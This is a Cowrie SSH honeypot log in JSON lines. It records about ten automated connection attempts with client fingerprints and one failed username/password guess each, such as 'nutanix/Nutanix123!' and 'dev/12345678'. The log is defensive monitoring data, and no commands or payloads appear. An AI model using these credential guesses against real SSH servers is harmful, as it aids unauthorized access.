{"eventid":"cowrie.session.connect","src_ip":"35.240.75.51","src_port":32982,"dst_ip":"10.17.0.5","dst_port":22,"session":"2692b889cded","protocol":"ssh","message":"New connection: 35.240.75.51:32982 (10.17.0.5:22) [session: 2692b889cded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:16.152700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:16.156997Z","src_ip":"35.240.75.51","session":"2692b889cded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:16.305626Z","src_ip":"35.240.75.51","session":"2692b889cded","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo12","password":"Odoo12123","message":"login attempt [odoo12/Odoo12123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:16.811110Z","src_ip":"35.240.75.51","session":"2692b889cded","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:17.891634Z","src_ip":"35.240.75.51","session":"2692b889cded","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":55615,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e29a82d62ac","protocol":"ssh","message":"New connection: 154.125.147.88:55615 (10.17.0.5:22) [session: 5e29a82d62ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:44.685339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:44.689485Z","src_ip":"154.125.147.88","session":"5e29a82d62ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:44.832129Z","src_ip":"154.125.147.88","session":"5e29a82d62ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"Nutanix123!","message":"login attempt [nutanix/Nutanix123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:45.411201Z","src_ip":"154.125.147.88","session":"5e29a82d62ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:46.551352Z","src_ip":"154.125.147.88","session":"5e29a82d62ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":46848,"dst_ip":"159.203.135.109","dst_port":22,"session":"74fdfeda4776","protocol":"ssh","message":"New connection: 92.118.39.92:46848 (159.203.135.109:22) [session: 74fdfeda4776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:54.676498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:54.680540Z","src_ip":"92.118.39.92","session":"74fdfeda4776","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:54.776676Z","src_ip":"92.118.39.92","session":"74fdfeda4776","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:55.063108Z","src_ip":"92.118.39.92","session":"74fdfeda4776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:42:56.160764Z","src_ip":"92.118.39.92","session":"74fdfeda4776","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.3","src_port":48462,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1d73f1e9468","protocol":"ssh","message":"New connection: 118.193.33.3:48462 (10.17.0.5:22) [session: e1d73f1e9468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:03.911344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:03.915857Z","src_ip":"118.193.33.3","session":"e1d73f1e9468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:04.131323Z","src_ip":"118.193.33.3","session":"e1d73f1e9468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roy","password":"roy123!","message":"login attempt [roy/roy123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:05.018115Z","src_ip":"118.193.33.3","session":"e1d73f1e9468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:06.233793Z","src_ip":"118.193.33.3","session":"e1d73f1e9468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.218.242.31","src_port":58090,"dst_ip":"10.17.0.5","dst_port":22,"session":"aec1c7d8382b","protocol":"ssh","message":"New connection: 103.218.242.31:58090 (10.17.0.5:22) [session: aec1c7d8382b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:51.314328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:51.318620Z","src_ip":"103.218.242.31","session":"aec1c7d8382b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:51.533697Z","src_ip":"103.218.242.31","session":"aec1c7d8382b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"12345678","message":"login attempt [username/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:52.429653Z","src_ip":"103.218.242.31","session":"aec1c7d8382b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":40438,"dst_ip":"10.17.0.5","dst_port":22,"session":"6925db322489","protocol":"ssh","message":"New connection: 103.82.92.202:40438 (10.17.0.5:22) [session: 6925db322489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:53.587095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:53.591351Z","src_ip":"103.82.92.202","session":"6925db322489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:53.648328Z","src_ip":"103.218.242.31","session":"aec1c7d8382b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:53.833839Z","src_ip":"103.82.92.202","session":"6925db322489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vendas","password":"vendasvendas","message":"login attempt [vendas/vendasvendas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:54.836347Z","src_ip":"103.82.92.202","session":"6925db322489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:56.080812Z","src_ip":"103.82.92.202","session":"6925db322489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":42564,"dst_ip":"10.17.0.5","dst_port":22,"session":"a466a6bb205a","protocol":"ssh","message":"New connection: 103.78.2.212:42564 (10.17.0.5:22) [session: a466a6bb205a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:58.164298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:58.169220Z","src_ip":"103.78.2.212","session":"a466a6bb205a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:58.425563Z","src_ip":"103.78.2.212","session":"a466a6bb205a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahmad","password":"1234","message":"login attempt [ahmad/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:43:59.480893Z","src_ip":"103.78.2.212","session":"a466a6bb205a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:00.737664Z","src_ip":"103.78.2.212","session":"a466a6bb205a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.62.152.202","src_port":62469,"dst_ip":"10.17.0.5","dst_port":22,"session":"57dbaafbc3ab","protocol":"ssh","message":"New connection: 103.62.152.202:62469 (10.17.0.5:22) [session: 57dbaafbc3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:04.567723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:04.572184Z","src_ip":"103.62.152.202","session":"57dbaafbc3ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:04.839551Z","src_ip":"103.62.152.202","session":"57dbaafbc3ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lima","password":"12345678","message":"login attempt [lima/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:05.940202Z","src_ip":"103.62.152.202","session":"57dbaafbc3ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:07.209825Z","src_ip":"103.62.152.202","session":"57dbaafbc3ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.206.214","src_port":59428,"dst_ip":"10.17.0.5","dst_port":22,"session":"581589ff8b14","protocol":"ssh","message":"New connection: 14.103.206.214:59428 (10.17.0.5:22) [session: 581589ff8b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:51.311210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:51.315842Z","src_ip":"14.103.206.214","session":"581589ff8b14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:51.557704Z","src_ip":"14.103.206.214","session":"581589ff8b14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"12345678","message":"login attempt [dev/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:44:53.263805Z","src_ip":"14.103.206.214","session":"581589ff8b14","protocol":"ssh"}
